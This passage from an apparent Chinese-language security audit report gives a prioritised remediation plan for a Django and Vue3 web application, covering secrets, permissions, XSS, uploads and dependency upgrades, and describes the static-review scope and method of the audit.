| P0 | 更换/环境变量注入 SECRET_KEY 与 JWT SIGNING_KEY;移除或加固 serve_web_files |
| P0 | 修复 RBAC 授权 action 权限(C-3);生产禁用默认口令并强制改密;init/settings 排除敏感配置 |
| P0 | 数据库/Redis 口令环境变量注入;修复 docker-compose/redis/mysql 脚本默认空口令与端口暴露 |
| P1 | WebSocket 推送重建消息并校验发送者;前端移除 dangerouslyUseHTMLString;消息内容消毒 |
| P1 | 文件上传校验 + media 安全头 + 文件列表属主过滤;消息中心/用户列表数据范围修复 |
| P1 | 口令方案去除 md5 预哈希;CORS 白名单化 |
| P1 | 升级 Django ≥4.2.28(CVE-2026-1312);收紧 ordering_fields;禁用或限制 django-restql query 注入面 |
| P2 | Excel 导入/导出加固;操作日志敏感字段掩码;登录枚举与锁定策略优化;iregex 前缀清理 |
| P2 | Secure Cookie/TLS;关闭调试接口与 swagger 匿名访问;系统配置接口脱敏;currency.py 标识符校验 |
| P3 | 清理 eval/exec;Host 头配置化;对象键安全化;前端 URL scheme 白名单 |
九、审计范围与方法
- 范围:
backend/(Django DRF 应用,含配置、fixtures、部署脚本、docker 配置)与web/src/(Vue3 前端);重点:认证、权限、过滤、序列化、文件、导入导出、系统配置、消息中心、SSE/WebSocket、中间件、前端渲染 sink。 - 方法:源码静态审计;关键漏洞经人工逐行复核(给出 file:line 证据);六路分类并行核查(RCE/反序列化、SQL 注入、未授权/越权、硬编码凭据、SSRF/文件操作、XSS),多路结果交叉验证。
- 说明:未做实际网络利用;
backend/conf/env.py不在仓库(运行时由 example 复制生成);plugins/为空(第三方插件不在审计范围)。